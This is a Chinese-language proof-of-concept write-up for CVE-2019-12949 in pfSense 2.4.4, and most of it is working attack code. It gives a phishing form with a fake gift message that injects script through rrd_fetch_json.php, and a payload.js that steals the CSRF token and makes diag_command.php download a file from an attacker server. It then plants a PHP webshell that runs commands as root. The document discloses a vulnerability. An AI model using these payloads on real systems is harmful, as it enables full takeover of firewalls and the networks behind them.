
CVE-2019-12949
在 pfSense 2.4.4-p2 和 2.4.4-p3 中,如果能够诱使已认证的管理员点击钓鱼页面上的按钮,攻击者可以通过 ding_command.php 和 rrd_fetch_json.php 将任意可执行代码上传到服务器。然后,远程攻击者可以在该服务器上以 root 权限运行任何命令。
研究员:The Tarantula Team 的 Enter,VinCSS(Vingroup 成员)
攻击向量:https://pfSense_IP_Address/rrd_fetch_json.php
发送 POST 请求:
<form action="https://[PFsense-domain]/rrd_fetch_json.php" method="post">
<input type="hidden" name="left" value="system-processor"><br>
<input type="hidden" name="right" value="null"><br>
<input type="hidden" name="start" value=""><br>
<input type="hidden" name="end" value=""><br>
<input type="hidden" name="resolution" value="300"><br>
<input type="hidden" name="timePeriod" value="i3i3j<script>alert(1)</script>tz9b1"><br>
<input type="hidden" name="graphtype" value="line"><br>
<input type="hidden" name="invert" value="true"><br>
<input type="hidden" name="refreshInterval" value="0">
<h1>Congratulations on receiving the reward from us</h1>
<h1>Click to receive gifts</h1>
<input type="submit" value="Submit">
</form>
攻击者可以创建一个像这样的钓鱼网站来利用 pfSense 上的 XSS 漏洞:
<form action="https://[PFsense-domain]/rrd_fetch_json.php" method="post">
<input type="hidden" name="left" value="system-processor"><br>
<input type="hidden" name="right" value="null"><br>
<input type="hidden" name="start" value=""><br>
<input type="hidden" name="end" value=""><br>
<input type="hidden" name="resolution" value="300"><br>
<input type="hidden" name="timePeriod" value="i3i3j<script src='https://[Attacker-Server]/payload.js'></script>tz9b1"><br>
<input type="hidden" name="graphtype" value="line"><br>
<input type="hidden" name="invert" value="true"><br>
<input type="hidden" name="refreshInterval" value="0">
<h1>Congratulations on receiving the reward from us</h1>
<h1>Click to receive gifts</h1>
<input type="submit" value="Submit">
</form>
攻击者服务器上的 payload.js 文件将包含以下 JavaScript 代码(Payload):
<script>
var xhr = new XMLHttpRequest();
xhr.open("GET", "https://[PFsense domain]/diag_command.php", false);
xhr.withCredentials=true;
xhr.send(null);
var resp = xhr.responseText;
console.log(resp);
var start_idx = resp.indexOf('name=\'__csrf_magic\' value="');
var end_idx = resp.indexOf('" />', start_idx);
var token = resp.slice(start_idx + 27, end_idx);
console.log(token);
// now execute the CSRF attack using XHR along with the extracted token
var xhr1 = new XMLHttpRequest();
xhr1.open("POST", "https://[PFsense-domain]/diag_command.php", false);
xhr1.withCredentials=true;
var params = "__csrf_magic="+token+"&txtCommand=curl https://[Attacker-Server]/shell.txt > a.php&submit=EXEC";
xhr1.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xhr1.setRequestHeader("Content-length", params.length);
xhr1.send(params);
</script>
攻击者服务器上的 shell.txt 文件将包含任何 PHP webshell 内容,例如:
<?php
system($_REQUEST['cmd']); // allow remote attacker to run commands on victim server
phpinfo(); // show phpinfo
?>
最后,攻击者将诱骗已认证的 pfSense 管理员(受害者)访问钓鱼站点并点击钓鱼站点上的“提交”按钮。然后受害者将被重定向到 pfSense 管理站点,攻击者的 webshell 将自动成功加载到 pfSense 服务器上。
从此,远程攻击者可以在 pfSense 服务器上以 root 身份执行任意代码:
https://[PFsense-domain]/a.php?cmd=whoami
https://[PFsense-domain]/a.php?cmd=ls